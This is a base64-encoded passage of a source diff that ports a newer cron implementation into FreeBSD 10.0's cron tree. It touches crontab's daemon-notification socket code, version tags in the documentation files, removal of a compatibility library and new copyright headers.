dCB1cGRhdGUgbXRpbWUgb24gc3Bvb2xkaXIgJXMiLCBTUE9PTF9ESVIpOwogCQlyZXR1cm47CiAJ fQogI2Vsc2UKIAlpZiAodXRpbWUoU1BPT0xfRElSLCBOVUxMKSA8IE9LKSB7Ci0JCXdhcm4oImNh bid0IHVwZGF0ZSBtdGltZSBvbiBzcG9vbGRpciAlcyIsIFNQT09MX0RJUik7CisJCXdhcm4oImNh bnQndCB1cGRhdGUgbXRpbWUgb24gc3Bvb2xkaXIgJXMiLCBTUE9PTF9ESVIpOwogCQlyZXR1cm47 CiAJfQogI2VuZGlmIC8qVVNFX1VUSU1FUyovCisKKwltZW1zZXQoJnNfdW4sICdcMCcsIHNpemVv ZihzX3VuKSk7CisJaWYgKCh1bnNpZ25lZCBsb25nKXNucHJpbnRmKHNfdW4uc3VuX3BhdGgsIHNp emVvZihzX3VuLnN1bl9wYXRoKSwgIiVzLyVzLyVzIiwKKwkJCQlDUk9ORElSLCBTUE9PTF9ESVIs IFNPQ0tGSUxFKSA+PSBzaXplb2Yoc191bi5zdW5fcGF0aCkpIHsKKwkJZnByaW50ZihzdGRlcnIs ICIlczogJXMvJXM6IHBhdGggdG9vIGxvbmdcbiIsCisJCQkJUHJvZ3JhbU5hbWUsIENST05ESVIs IFNPQ0tGSUxFKTsKKwkJcmV0dXJuOworCX0KKwkKKwlzX3VuLnN1bl9mYW1pbHkgPSBQRl9MT0NB TDsKKyNpZmRlZiBTVU5fTEVOCisJc191bi5zdW5fbGVuID0gU1VOX0xFTigmc191bik7CisjZW5k aWYKKwkodm9pZCkgc2lnbmFsKFNJR1BJUEUsIFNJR19JR04pOworCWlmICgoc29jayA9IHNvY2tl dChQRl9MT0NBTCwgU09DS19TVFJFQU0sIDApKSA+PSAwICYmCisJCQljb25uZWN0KHNvY2ssIChz dHJ1Y3Qgc29ja2FkZHIgKikmc191biwgc2l6ZW9mKHNfdW4pKSA9PSAwKQorCQl3cml0ZShzb2Nr LCAmY29va2llLCAxKTsKKwllbHNlCisJCWZwcmludGYoc3RkZXJyLCAiJXM6IHdhcm5pbmcsIGNy b24gZG9lcyBub3QgYXBwZWFyIHRvIGJlICIKKwkJCQkicnVubmluZy5cbiIsIFByb2dyYW1OYW1l KTsKKwlpZiAoc29jayA+PSAwKQorCQljbG9zZShzb2NrKTsKKwkodm9pZCkgc2lnbmFsKFNJR1BJ UEUsIFNJR19ERkwpOworfQorCitzdGF0aWMgdm9pZAorZGllKGludCB4KSB7CisJaWYgKFRlbXBG aWxlbmFtZVswXSkKKwkJKHZvaWQpIHVubGluayhUZW1wRmlsZW5hbWUpOworCV9leGl0KEVSUk9S X0VYSVQpOwogfQpkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9kb2MvQ0hBTkdFUyBm cmVlYnNkX2Nyb24vZG9jL0NIQU5HRVMKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vZG9jL0NI QU5HRVMJMjAxNC0wMS0xNiAyMTo0Mzo1MC4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jv bi9kb2MvQ0hBTkdFUwkyMDE0LTA2LTExIDE2OjQyOjU1LjI3NDQ0NDg5NiArMDIwMApAQCAtMSw0 ICsxLDQgQEAKLSRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jpbi9jcm9uL2RvYy9DSEFO R0VTIDIyODk5MCAyMDExLTEyLTMwIDEwOjU4OjE0WiB1cXMgJAorJEZyZWVCU0Q6IHJlbGVuZy8x MC4wL3Vzci5zYmluL2Nyb24vZG9jL0NIQU5HRVMgMjI4OTkwIDIwMTEtMTItMzAgMTA6NTg6MTRa IHVxcyAkCiAtLS0tLS0tLQogCiBWaXhpZSBDcm9uCQlDaGFuZ2VzIGZyb20gVjIgdG8gVjMKZGlm ZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vZG9jL0NPTlZFUlNJT04gZnJlZWJzZF9jcm9u L2RvYy9DT05WRVJTSU9OCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9jcm9uL2RvYy9DT05WRVJTSU9O CTIwMTQtMDEtMTYgMjE6NDM6NTAuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vZG9j L0NPTlZFUlNJT04JMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzQ0NDQ4OTYgKzAyMDAKQEAgLTEsNCAr MSw0IEBACi0kRnJlZUJTRDogcmVsZWFzZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9kb2MvQ09OVkVS U0lPTiA3MjA5MSAyMDAxLTAyLTA2IDExOjIxOjU4WiBhc21vZGFpICQKKyRGcmVlQlNEOiByZWxl bmcvMTAuMC91c3Iuc2Jpbi9jcm9uL2RvYy9DT05WRVJTSU9OIDcyMDkxIDIwMDEtMDItMDYgMTE6 MjE6NThaIGFzbW9kYWkgJAogCiBDb252ZXJzaW9uIG9mIEJTRCA0LlsyM10gY3JvbnRhYiBmaWxl czoKIApkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9kb2MvRkVBVFVSRVMgZnJlZWJz ZF9jcm9uL2RvYy9GRUFUVVJFUwotLS0gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9kb2MvRkVBVFVS RVMJMjAxNC0wMS0xNiAyMTo0Mzo1MC4wMDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jvbi9k b2MvRkVBVFVSRVMJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzQ0NDQ4OTYgKzAyMDAKQEAgLTEsNCAr MSw0IEBACi0kRnJlZUJTRDogcmVsZWFzZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9kb2MvRkVBVFVS RVMgNTA0NzkgMTk5OS0wOC0yOCAwMTozNTo1OVogcGV0ZXIgJAorJEZyZWVCU0Q6IHJlbGVuZy8x MC4wL3Vzci5zYmluL2Nyb24vZG9jL0ZFQVRVUkVTIDUwNDc5IDE5OTktMDgtMjggMDE6MzU6NTla IHBldGVyICQKIAogRmVhdHVyZXMgb2YgVml4aWUncyBjcm9uIHJlbGF0aXZlIHRvIEJTRCA0Llsy M10gYW5kIFN5c1YgY3JvbnM6CiAKZGlmZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vZG9j L0lOU1RBTEwgZnJlZWJzZF9jcm9uL2RvYy9JTlNUQUxMCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9j cm9uL2RvYy9JTlNUQUxMCTIwMTQtMDEtMTYgMjE6NDM6NTAuMDAwMDAwMDAwICswMTAwCisrKyBm cmVlYnNkX2Nyb24vZG9jL0lOU1RBTEwJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzQ0NDQ4OTYgKzAy MDAKQEAgLTE1LDcgKzE1LDcgQEAKICAqIFBhdWwgVml4aWUgICAgICAgICAgPHBhdWxAdml4LmNv bT4gICAgICAgICAgdXVuZXQhZGVjd3JsIXZpeGllIXBhdWwKICAqLwogCi0kRnJlZUJTRDogcmVs ZWFzZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9kb2MvSU5TVEFMTCA1MDQ3OSAxOTk5LTA4LTI4IDAx OjM1OjU5WiBwZXRlciAkCiskRnJlZUJTRDogcmVsZW5nLzEwLjAvdXNyLnNiaW4vY3Jvbi9kb2Mv SU5TVEFMTCA1MDQ3OSAxOTk5LTA4LTI4IDAxOjM1OjU5WiBwZXRlciAkCiAKIFJlYWQgdGhlIGNv bW1lbnRzIGF0IHRoZSB0b3Agb2YgdGhlIE1ha2VmaWxlLCB0aGVuIGVkaXQgdGhlIGFyZWEgbWFy a2VkCiAnY29uZmlndXJhYmxlIHN0dWZmJy4KZGlmZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Ny b24vZG9jL01BSUwgZnJlZWJzZF9jcm9uL2RvYy9NQUlMCi0tLSAvdXNyL3NyYy91c3Iuc2Jpbi9j cm9uL2RvYy9NQUlMCTIwMTQtMDEtMTYgMjE6NDM6NTAuMDAwMDAwMDAwICswMTAwCisrKyBmcmVl YnNkX2Nyb24vZG9jL01BSUwJMjAxNC0wNi0xMSAxNjo0Mjo1NS4yNzQ0NDQ4OTYgKzAyMDAKQEAg LTMsNyArMyw3IEBACiAgIHZlcnNpb24gb2YgY3Jvbi4gIGl0IGlzIHByZXNlbnRlZCBoZXJlIGZv ciBpdHMgZW50ZXJ0YWlubWVudCB2YWx1ZS4KICAgLS12aXggXQogCi0kRnJlZUJTRDogcmVsZWFz ZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9kb2MvTUFJTCAyMjg5OTAgMjAxMS0xMi0zMCAxMDo1ODox NFogdXFzICQKKyRGcmVlQlNEOiByZWxlbmcvMTAuMC91c3Iuc2Jpbi9jcm9uL2RvYy9NQUlMIDIy ODk5MCAyMDExLTEyLTMwIDEwOjU4OjE0WiB1cXMgJAogCiBGcm9tIHB0c2ZhIWxsbC1jcmchYW1l cyFhY29ybnJjIWJvYiBXZWQgRGVjIDMxIDEwOjA3OjA4IDE5ODYKIERhdGU6IFdlZCwgMzEgRGVj IDg2IDA4OjU5OjMxIHBzdApkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9kb2MvTWFr ZWZpbGUudml4aWUgZnJlZWJzZF9jcm9uL2RvYy9NYWtlZmlsZS52aXhpZQotLS0gL3Vzci9zcmMv dXNyLnNiaW4vY3Jvbi9kb2MvTWFrZWZpbGUudml4aWUJMjAxNC0wMS0xNiAyMTo0Mzo1MC4wMDAw MDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jvbi9kb2MvTWFrZWZpbGUudml4aWUJMjAxNC0wNi0x MSAxNjo0Mjo1NS4yNzQ0NDQ4OTYgKzAyMDAKQEAgLTE3LDcgKzE3LDcgQEAKIAogIyBNYWtlZmls ZSBmb3Igdml4aWUncyBjcm9uCiAjCi0jICRGcmVlQlNEOiByZWxlYXNlLzEwLjAuMC91c3Iuc2Jp bi9jcm9uL2RvYy9NYWtlZmlsZS52aXhpZSA1MDQ3OSAxOTk5LTA4LTI4IDAxOjM1OjU5WiBwZXRl ciAkCisjICRGcmVlQlNEOiByZWxlbmcvMTAuMC91c3Iuc2Jpbi9jcm9uL2RvYy9NYWtlZmlsZS52 aXhpZSA1MDQ3OSAxOTk5LTA4LTI4IDAxOjM1OjU5WiBwZXRlciAkCiAjCiAjIHZpeCAwM21hcjg4 IFttb3ZlZCB0byBSQ1MsIHJlc3Qgb2YgbG9nIGlzIGluIHRoZXJlXQogIyB2aXggMzBtYXI4NyBb Z29vZGJ5ZSwgdGltZS5jOyBoZWxsbywgZ2V0b3B0XQpkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNi aW4vY3Jvbi9kb2MvUkVBRE1FIGZyZWVic2RfY3Jvbi9kb2MvUkVBRE1FCi0tLSAvdXNyL3NyYy91 c3Iuc2Jpbi9jcm9uL2RvYy9SRUFETUUJMjAxNC0wMS0xNiAyMTo0Mzo1MC4wMDAwMDAwMDAgKzAx MDAKKysrIGZyZWVic2RfY3Jvbi9kb2MvUkVBRE1FCTIwMTQtMDYtMTEgMTY6NDI6NTUuMjc0NDQ0 ODk2ICswMjAwCkBAIC02OSw0ICs2OSw0IEBACiAJaWYgeW91IGxpa2UgaXQsIGNoYW5nZSB5b3Vy IC9ldGMve3JjLHJjLmxvY2FsfSB0byB1c2UgaXQgaW5zdGVhZCBvZgogCQl0aGUgb2xkIG9uZS4K IAotJEZyZWVCU0Q6IHJlbGVhc2UvMTAuMC4wL3Vzci5zYmluL2Nyb24vZG9jL1JFQURNRSA1MDQ3 OSAxOTk5LTA4LTI4IDAxOjM1OjU5WiBwZXRlciAkCiskRnJlZUJTRDogcmVsZW5nLzEwLjAvdXNy LnNiaW4vY3Jvbi9kb2MvUkVBRE1FIDUwNDc5IDE5OTktMDgtMjggMDE6MzU6NTlaIHBldGVyICQK ZGlmZiAtcnVOIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vbGliL01ha2VmaWxlIGZyZWVic2RfY3Jv bi9saWIvTWFrZWZpbGUKLS0tIC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vbGliL01ha2VmaWxlCTIw MTQtMDEtMTYgMjE6NDM6NTAuMDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vbGliL01h a2VmaWxlCTIwMTQtMDYtMTEgMTY6NDI6NTUuMjc1NDQ0Mzc5ICswMjAwCkBAIC0xLDQgKzEsNCBA QAotIyAkRnJlZUJTRDogcmVsZWFzZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9saWIvTWFrZWZpbGUg MTg1MDQyIDIwMDgtMTEtMTggMDA6NTk6MjZaIG1hdHRlbyAkCisjICRGcmVlQlNEOiByZWxlbmcv MTAuMC91c3Iuc2Jpbi9jcm9uL2xpYi9NYWtlZmlsZSAxODUwNDIgMjAwOC0xMS0xOCAwMDo1OToy NlogbWF0dGVvICQKIAogTElCPQljcm9uCiBJTlRFUk5BTExJQj0KZGlmZiAtcnVOIC91c3Ivc3Jj L3Vzci5zYmluL2Nyb24vbGliL2NvbXBhdC5jIGZyZWVic2RfY3Jvbi9saWIvY29tcGF0LmMKLS0t IC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vbGliL2NvbXBhdC5jCTIwMTQtMDEtMTYgMjE6NDM6NTAu MDAwMDAwMDAwICswMTAwCisrKyBmcmVlYnNkX2Nyb24vbGliL2NvbXBhdC5jCTE5NzAtMDEtMDEg MDE6MDA6MDAuMDAwMDAwMDAwICswMTAwCkBAIC0xLDIzNyArMCwwIEBACi0vKiBDb3B5cmlnaHQg MTk4OCwxOTkwLDE5OTMsMTk5NCBieSBQYXVsIFZpeGllCi0gKiBBbGwgcmlnaHRzIHJlc2VydmVk Ci0gKgotICogRGlzdHJpYnV0ZSBmcmVlbHksIGV4Y2VwdDogZG9uJ3QgcmVtb3ZlIG15IG5hbWUg ZnJvbSB0aGUgc291cmNlIG9yCi0gKiBkb2N1bWVudGF0aW9uIChkb24ndCB0YWtlIGNyZWRpdCBm b3IgbXkgd29yayksIG1hcmsgeW91ciBjaGFuZ2VzIChkb24ndAotICogZ2V0IG1lIGJsYW1lZCBm b3IgeW91ciBwb3NzaWJsZSBidWdzKSwgZG9uJ3QgYWx0ZXIgb3IgcmVtb3ZlIHRoaXMKLSAqIG5v dGljZS4gIE1heSBiZSBzb2xkIGlmIGJ1aWxkYWJsZSBzb3VyY2UgaXMgcHJvdmlkZWQgdG8gYnV5 ZXIuICBObwotICogd2FycmFudGVlIG9mIGFueSBraW5kLCBleHByZXNzIG9yIGltcGxpZWQsIGlz IGluY2x1ZGVkIHdpdGggdGhpcwotICogc29mdHdhcmU7IHVzZSBhdCB5b3VyIG93biByaXNrLCBy ZXNwb25zaWJpbGl0eSBmb3IgZGFtYWdlcyAoaWYgYW55KSB0bwotICogYW55b25lIHJlc3VsdGlu ZyBmcm9tIHRoZSB1c2Ugb2YgdGhpcyBzb2Z0d2FyZSByZXN0cyBlbnRpcmVseSB3aXRoIHRoZQot ICogdXNlci4KLSAqCi0gKiBTZW5kIGJ1ZyByZXBvcnRzLCBidWcgZml4ZXMsIGVuaGFuY2VtZW50 cywgcmVxdWVzdHMsIGZsYW1lcywgZXRjLiwgYW5kCi0gKiBJJ2xsIHRyeSB0byBrZWVwIGEgdmVy c2lvbiB1cCB0byBkYXRlLiAgSSBjYW4gYmUgcmVhY2hlZCBhcyBmb2xsb3dzOgotICogUGF1bCBW aXhpZSAgICAgICAgICA8cGF1bEB2aXguY29tPiAgICAgICAgICB1dW5ldCFkZWN3cmwhdml4aWUh cGF1bAotICovCi0KLSNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5lZChMSU5UKQotc3RhdGlj IGNoYXIgcmNzaWRbXSA9ICIkRnJlZUJTRDogcmVsZWFzZS8xMC4wLjAvdXNyLnNiaW4vY3Jvbi9s aWIvY29tcGF0LmMgNjk3OTMgMjAwMC0xMi0wOSAwOTozNTo1NVogb2JyaWVuICQiOwotI2VuZGlm Ci0KLS8qIHZpeCAzMGRlYzkzIFticm9rZSB0aGlzIG91dCBvZiBtaXNjLmMgLSBzZWUgUkNTIGxv ZyBmb3IgaGlzdG9yeV0KLSAqIHZpeCAxNWphbjg3IFthZGRlZCBUSU9DTk9UVFksIHRoYW5rcyBj c2dAcHlyYW1pZF0KLSAqLwotCi0KLSNpbmNsdWRlICJjcm9uLmgiCi0jaWZkZWYgTkVFRF9HRVRE VEFCTEVTSVpFCi0jIGluY2x1ZGUgPGxpbWl0cy5oPgotI2VuZGlmCi0jaWYgZGVmaW5lZChORUVE X1NFVFNJRCkgJiYgZGVmaW5lZChCU0QpCi0jIGluY2x1ZGUgPHN5cy9pb2N0bC5oPgotI2VuZGlm Ci0jaW5jbHVkZSA8ZXJybm8uaD4KLSNpbmNsdWRlIDxwYXRocy5oPgotCi0KLS8qIHRoZSBjb2Rl IGRvZXMgbm90IGRlcGVuZCBvbiBhbnkgb2YgdmZvcmsncwotICogc2lkZS1lZmZlY3RzOyBpdCBq dXN0IHVzZXMgaXQgYXMgYSBxdWljawotICogZm9yay1hbmQtZXhlYy4KLSAqLwotI2lmZGVmIE5F RURfVkZPUksKLVBJRF9UCi12Zm9yaygpIHsKLQlyZXR1cm4gKGZvcmsoKSk7Ci19Ci0jZW5kaWYK LQotCi0jaWZkZWYgTkVFRF9TVFJEVVAKLWNoYXIgKgotc3RyZHVwKHN0cikKLQljaGFyCSpzdHI7 Ci17Ci0JY2hhcgkqdGVtcDsKLQotCWlmICgodGVtcCA9IG1hbGxvYyhzdHJsZW4oc3RyKSArIDEp KSA9PSBOVUxMKSB7Ci0JCWVycm5vID0gRU5PTUVNOwotCQlyZXR1cm4gTlVMTDsKLQl9Ci0JKHZv aWQpIHN0cmNweSh0ZW1wLCBzdHIpOwotCXJldHVybiB0ZW1wOwotfQotI2VuZGlmCi0KLQotI2lm ZGVmIE5FRURfU1RSRVJST1IKLWNoYXIgKgotc3RyZXJyb3IoZXJyb3IpCi0JaW50IGVycm9yOwot ewotCWV4dGVybiBjaGFyICpzeXNfZXJybGlzdFtdOwotCWV4dGVybiBpbnQgc3lzX25lcnI7Ci0J c3RhdGljIGNoYXIgYnVmWzMyXTsKLQotCWlmICgoZXJyb3IgPD0gc3lzX25lcnIpICYmIChlcnJv ciA+IDApKSB7Ci0JCXJldHVybiBzeXNfZXJybGlzdFtlcnJvcl07Ci0JfQotCi0Jc3ByaW50Zihi dWYsICJVbmtub3duIGVycm9yOiAlZCIsIGVycm9yKTsKLQlyZXR1cm4gYnVmOwotfQotI2VuZGlm Ci0KLQotI2lmZGVmIE5FRURfU1RSQ0FTRUNNUAotaW50Ci1zdHJjYXNlY21wKGxlZnQsIHJpZ2h0 KQotCWNoYXIJKmxlZnQ7Ci0JY2hhcgkqcmlnaHQ7Ci17Ci0Jd2hpbGUgKCpsZWZ0ICYmIChNa0xv d2VyKCpsZWZ0KSA9PSBNa0xvd2VyKCpyaWdodCkpKSB7Ci0JCWxlZnQrKzsKLQkJcmlnaHQrKzsK LQl9Ci0JcmV0dXJuIE1rTG93ZXIoKmxlZnQpIC0gTWtMb3dlcigqcmlnaHQpOwotfQotI2VuZGlm Ci0KLQotI2lmZGVmIE5FRURfU0VUU0lECi1pbnQKLXNldHNpZCgpCi17Ci0JaW50CW5ld3BncnA7 Ci0jIGlmIGRlZmluZWQoQlNEKQotCWludAlmZDsKLSMgIGlmIGRlZmluZWQoUE9TSVgpCi0JbmV3 cGdycCA9IHNldHBnaWQoKHBpZF90KTAsIGdldHBpZCgpKTsKLSMgIGVsc2UKLQluZXdwZ3JwID0g c2V0cGdycCgwLCBnZXRwaWQoKSk7Ci0jICBlbmRpZgotCWlmICgoZmQgPSBvcGVuKF9QQVRIX1RU WSwgMikpID49IDApCi0JewotCQkodm9pZCkgaW9jdGwoZmQsIFRJT0NOT1RUWSwgKGNoYXIqKTAp OwotCQkodm9pZCkgY2xvc2UoZmQpOwotCX0KLSMgZWxzZSAvKkJTRCovCi0JbmV3cGdycCA9IHNl dHBncnAoKTsKLQotCSh2b2lkKSBjbG9zZShTVERJTik7CSh2b2lkKSBvcGVuKF9QQVRIX0RFVk5V TEwsIDApOwotCSh2b2lkKSBjbG9zZShTVERPVVQpOwkodm9pZCkgb3BlbihfUEFUSF9ERVZOVUxM LCAxKTsKLQkodm9pZCkgY2xvc2UoU1RERVJSKTsJKHZvaWQpIG9wZW4oX1BBVEhfREVWTlVMTCwg Mik7Ci0jIGVuZGlmIC8qQlNEKi8KLQlyZXR1cm4gbmV3cGdycDsKLX0KLSNlbmRpZiAvKk5FRURf U0VUU0lEKi8KLQotCi0jaWZkZWYgTkVFRF9HRVREVEFCTEVTSVpFCi1pbnQKLWdldGR0YWJsZXNp emUoKSB7Ci0jaWZkZWYgX1NDX09QRU5fTUFYCi0JcmV0dXJuIHN5c2NvbmYoX1NDX09QRU5fTUFY KTsKLSNlbHNlCi0JcmV0dXJuIF9QT1NJWF9PUEVOX01BWDsKLSNlbmRpZgotfQotI2VuZGlmCi0K LQotI2lmZGVmIE5FRURfRkxPQ0sKLS8qIFRoZSBmb2xsb3dpbmcgZmxvY2soKSBlbXVsYXRpb24g c25hcmZlZCBpbnRhY3QgKikgZnJvbSB0aGUgSFAtVVgKLSAqICJCU0QgdG8gSFAtVVggcG9ydGlu ZyB0cmlja3MiIG1haW50YWluZWQgYnkKLSAqIHN5c3RlbUBhbGNoZW15LmNoZW0udXRvcm9udG8u Y2EgKFN5c3RlbSBBZG1pbiAoTWlrZSBQZXRlcnNvbikpCi0gKiBmcm9tIHRoZSB2ZXJzaW9uICJs YXN0IHVwZGF0ZWQ6IDExLUphbi0xOTkzIgotICogU25hcmZhZ2UgZG9uZSBieSBKYXJra28gSGll dGFuaWVtaSA8SmFya2tvLkhpZXRhbmllbWlAaHV0LmZpPgotICogKikgd2VsbCwgYWxtb3N0LCBo YWQgdG8gSyZSIHRoZSBmdW5jdGlvbiBlbnRyeSwgSFBVWCAiY2MiCi0gKiBkb2VzIG5vdCBncm9r IEFOU0kgZnVuY3Rpb24gcHJvdG90eXBlcyAqLwotIAotLyoKLSAqIGZsb2NrIChmZCwgb3BlcmF0 aW9uKQotICoKLSAqIFRoaXMgcm91dGluZSBwZXJmb3JtcyBzb21lIGZpbGUgbG9ja2luZyBsaWtl IHRoZSBCU0QgJ2Zsb2NrJwotICogb24gdGhlIG9iamVjdCBkZXNjcmliZWQgYnkgdGhlIGludCBm aWxlIGRlc2NyaXB0b3IgJ2ZkJywKLSAqIHdoaWNoIG11c3QgYWxyZWFkeSBiZSBvcGVuLgotICoK LSAqIFRoZSBvcGVyYXRpb25zIHRoYXQgYXJlIGF2YWlsYWJsZSBhcmU6Ci0gKgotICogTE9DS19T SCAgLSAgZ2V0IGEgc2hhcmVkIGxvY2suCi0gKiBMT0NLX0VYICAtICBnZXQgYW4gZXhjbHVzaXZl IGxvY2suCi0gKiBMT0NLX05CICAtICBkb24ndCBibG9jayAobXVzdCBiZSBPUmVkIHdpdGggTE9D S19TSCBvciBMT0NLX0VYKS4KLSAqIExPQ0tfVU4gIC0gIHJlbGVhc2UgYSBsb2NrLgotICoKLSAq IFJldHVybiB2YWx1ZTogMCBpZiBsb2NrIHN1Y2Nlc3NmdWwsIC0xIGlmIGZhaWxlZC4KLSAqCi0g KiBOb3RlIHRoYXQgd2hldGhlciB0aGUgbG9ja3MgYXJlIGVuZm9yY2VkIG9yIGFkdmlzb3J5IGlz Ci0gKiBjb250cm9sbGVkIGJ5IHRoZSBwcmVzZW5jZSBvciBhYnNlbmNlIG9mIHRoZSBTRVRHSUQg Yml0IG9uCi0gKiB0aGUgZXhlY3V0YWJsZS4KLSAqCi0gKiBOb3RlIHRoYXQgdGhlcmUgaXMgbm8g ZGlmZmVyZW5jZSBiZXR3ZWVuIHNoYXJlZCBhbmQgZXhjbHVzaXZlCi0gKiBsb2Nrcywgc2luY2Ug dGhlICdsb2NrZicgc3lzdGVtIGNhbGwgaW4gU1lTViBkb2Vzbid0IG1ha2UgYW55Ci0gKiBkaXN0 aW5jdGlvbi4KLSAqCi0gKiBUaGUgZmlsZSAiPHN5cy9maWxlLmg+IiBzaG91bGQgYmUgbW9kaWZp ZWQgdG8gY29udGFpbiB0aGUgZGVmaW5pdGlvbnMKLSAqIG9mIHRoZSBhdmFpbGFibGUgb3BlcmF0 aW9ucywgd2hpY2ggbXVzdCBiZSBhZGRlZCBtYW51YWxseSAoc2VlIGJlbG93Ci0gKiBmb3IgdGhl IHZhbHVlcykuCi0gKi8KLQotLyogdGhpcyBjb2RlIGhhcyBiZWVuIHJlZm9ybWF0dGVkIGJ5IHZp eGllICovCi0KLWludAotZmxvY2soZmQsIG9wZXJhdGlvbikKLQlpbnQgZmQ7Ci0JaW50IG9wZXJh dGlvbjsKLXsKLQlpbnQgaTsKLQotCXN3aXRjaCAob3BlcmF0aW9uKSB7Ci0JY2FzZSBMT0NLX1NI OgkJLyogZ2V0IGEgc2hhcmVkIGxvY2sgKi8KLQljYXNlIExPQ0tfRVg6CQkvKiBnZXQgYW4gZXhj bHVzaXZlIGxvY2sgKi8KLQkJaSA9IGxvY2tmIChmZCwgRl9MT0NLLCAwKTsKLQkJYnJlYWs7Ci0K LQljYXNlIExPQ0tfU0h8TE9DS19OQjoJLyogZ2V0IGEgbm9uLWJsb2NraW5nIHNoYXJlZCBsb2Nr ICovCi0JY2FzZSBMT0NLX0VYfExPQ0tfTkI6CS8qIGdldCBhIG5vbi1ibG9ja2luZyBleGNsdXNp dmUgbG9jayAqLwotCQlpID0gbG9ja2YgKGZkLCBGX1RMT0NLLCAwKTsKLQkJaWYgKGkgPT0gLTEp Ci0JCQlpZiAoKGVycm5vID09IEVBR0FJTikgfHwgKGVycm5vID09IEVBQ0NFUykpCi0JCQkJZXJy bm8gPSBFV09VTERCTE9DSzsKLQkJYnJlYWs7Ci0KLQljYXNlIExPQ0tfVU46CQkvKiB1bmxvY2sg Ki8KLQkJaSA9IGxvY2tmIChmZCwgRl9VTE9DSywgMCk7Ci0JCWJyZWFrOwotIAotCWRlZmF1bHQ6 CQkvKiBjYW4ndCBkZWNpcGhlciBvcGVyYXRpb24gKi8KLQkJaSA9IC0xOwotCQllcnJubyA9IEVJ TlZBTDsKLQkJYnJlYWs7Ci0JfQotIAotCXJldHVybiAoaSk7Ci19Ci0jZW5kaWYgLypORUVEX0ZM T0NLKi8KLQotCi0jaWZkZWYgTkVFRF9TRVRFTlYKLWludAotc2V0ZW52KG5hbWUsIHZhbHVlLCBv dmVyd3JpdGUpCi0JY2hhciAqbmFtZSwgKnZhbHVlOwotCWludCBvdmVyd3JpdGU7Ci17Ci0JY2hh ciAqdG1wOwotCi0JaWYgKG92ZXJ3cml0ZSAmJiBnZXRlbnYobmFtZSkpCi0JCXJldHVybiAtMTsK LQotCWlmICghKHRtcCA9IG1hbGxvYyhzdHJsZW4obmFtZSkgKyBzdHJsZW4odmFsdWUpICsgMikp KSB7Ci0JCWVycm5vID0gRU5PTUVNOwotCQlyZXR1cm4gLTE7Ci0JfQotCi0Jc3ByaW50Zih0bXAs ICIlcz0lcyIsIG5hbWUsIHZhbHVlKTsKLQlyZXR1cm4gcHV0ZW52KHRtcCk7CS8qIGludGVudGlv bmFsbHkgb3JwaGFuICd0bXAnIHN0b3JhZ2UgKi8KLX0KLSNlbmRpZgpkaWZmIC1ydU4gL3Vzci9z cmMvdXNyLnNiaW4vY3Jvbi9saWIvZW50cnkuYyBmcmVlYnNkX2Nyb24vbGliL2VudHJ5LmMKLS0t IC91c3Ivc3JjL3Vzci5zYmluL2Nyb24vbGliL2VudHJ5LmMJMjAxNC0wMS0xNiAyMTo0Mzo1MC4w MDAwMDAwMDAgKzAxMDAKKysrIGZyZWVic2RfY3Jvbi9saWIvZW50cnkuYwkyMDE0LTA2LTExIDE2 OjQyOjU1LjI3NTQ0NDM3OSArMDIwMApAQCAtMSwyNCArMSwyOCBAQAotLyogQ29weXJpZ2h0IDE5 ODgsMTk5MCwxOTkzLDE5OTQgYnkgUGF1bCBWaXhpZQorLyoKKyAqIENvcHlyaWdodCAxOTg4LDE5 OTAsMTk5MywxOTk0IGJ5IFBhdWwgVml4aWUKICAqIEFsbCByaWdodHMgcmVzZXJ2ZWQKKyAqLwor CisvKgorICogQ29weXJpZ2h0IChjKSAyMDA0IGJ5IEludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1 bSwgSW5jLiAoIklTQyIpCisgKiBDb3B5cmlnaHQgKGMpIDE5OTcsMjAwMCBieSBJbnRlcm5ldCBT b2Z0d2FyZSBDb25zb3J0aXVtLCBJbmMuCiAgKgotICogRGlzdHJpYnV0ZSBmcmVlbHksIGV4Y2Vw dDogZG9uJ3QgcmVtb3ZlIG15IG5hbWUgZnJvbSB0aGUgc291cmNlIG9yCi0gKiBkb2N1bWVudGF0 aW9uIChkb24ndCB0YWtlIGNyZWRpdCBmb3IgbXkgd29yayksIG1hcmsgeW91ciBjaGFuZ2VzIChk b24ndAotICogZ2V0IG1lIGJsYW1lZCBmb3IgeW91ciBwb3NzaWJsZSBidWdzKSwgZG9uJ3QgYWx0 ZXIgb3IgcmVtb3ZlIHRoaXMKLSAqIG5vdGljZS4gIE1heSBiZSBzb2xkIGlmIGJ1aWxkYWJsZSBz b3VyY2UgaXMgcHJvdmlkZWQgdG8gYnV5ZXIuICBObwotICogd2FycmFudGVlIG9mIGFueSBraW5k 